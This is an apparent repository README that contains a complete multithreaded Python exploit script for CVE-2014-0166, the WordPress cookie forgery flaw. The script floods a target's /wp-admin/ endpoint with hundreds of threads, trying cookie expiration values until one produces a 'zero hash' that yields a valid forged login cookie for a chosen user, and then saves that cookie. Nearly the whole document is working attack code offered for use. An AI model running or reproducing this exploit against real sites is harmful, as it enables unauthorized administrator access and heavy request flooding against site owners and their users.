README.md
Rendering markdown...
#!/usr/bin/env python
"""
This script is the EXP of CVE-2014-0166.
By varying the expiration value of the cookie, an attacker can find a 'zero hash' to forge a valid cookie.
However, on average, we need 300 million requets to find a 'zero hash'.
Therefore I wrote this multithread script.
Details: http://www.ettack.org/wordpress-cookie-forgery/
Author: Ettack
Email: [email protected]
"""
import requests
import hmac
import threading
from hashlib import md5
from sys import stdout
from time import sleep,ctime,gmtime,time
from os import _exit
initnum = 0 #Set the initial value here while performing distributed computing.
threadNum = 500
errTolerance = 0 #If ErrorRequests/AllRequests > errTolerance, then decrease threads number
lock = threading.Lock()
url = 'http://test.com'
user = 'ettack'
expiration = 1400000000+initnum
cnt = 0+initnum
cookie_k = 'wordpress_' + md5(url).hexdigest()
def testCookie(url,user,expr):
global errcnt
cookie_v = user + '|' + str(expr) + '|0'
cookie = {cookie_k:cookie_v}
try:
r = requests.head(url + '/wp-admin/',cookies=cookie)
except requests.exceptions.ConnectionError:
errcnt += 1
# print "Connection ERROR occured in %s"%(threading.current_thread())
sleep(8)
return "Err"
statcode = r.status_code
if statcode == 200:
return cookie
if statcode != 302:
errcnt += 1
sleep(5)
return "Err"
return False
def action():
lock.acquire()
global expiration,cnt
expiration += 1
cnt += 1
stdout.flush()
stdout.write("\r%s"%(cnt))
lock.release()
try:
#Copy expiration value to expr.As expiration would be increased by other threads.
expr = expiration
#Loop until no error
while True:
result = testCookie(url,user,expr)
if result != "Err": break
except KeyboardInterrupt:
print "Interrupted at %s"%(expiration)
_exit(0)
except Exception,e:
print e
#Cookie found! Output to screen and file (wp_result). Output consumed time as well.
if result != False:
print "\n\nCongratulations!!! Found valid cookie:"
print str(result)
dtime = time()-stime
timestr = gmtime(dtime)
print "\nRunning time: %sd %sh %sm %ss"%(timestr.tm_mday-1,timestr.tm_hour,timestr.tm_min,timestr.tm_sec)
with open("wp_result","w") as fp:
fp.write(str(result))
fp.close()
_exit(0)
stime = time()
print "Start at %s"%(ctime())
print "Guessing with %d threads...\n"%(threadNum)
#Main part of guessing program
while True:
threads = []
errcnt = 0
for i in xrange(threadNum):
t = threading.Thread(target = action)
threads.append(t)
t.start()
for t in threads:
t.join()
#Adjust threads number
errRate = float(errcnt)/threadNum
if errRate > errTolerance:
newThreadNum = int(threadNum * (1-0.5*errRate))
print "\nToo many retries (%d/%d). Automatically decrease to %d threads!"%(errcnt,threadNum+errcnt,newThreadNum)
threadNum = newThreadNum
#Log process to wp_log
with open("wp_log","w") as fp:
fp.write(str(cnt))
fp.close()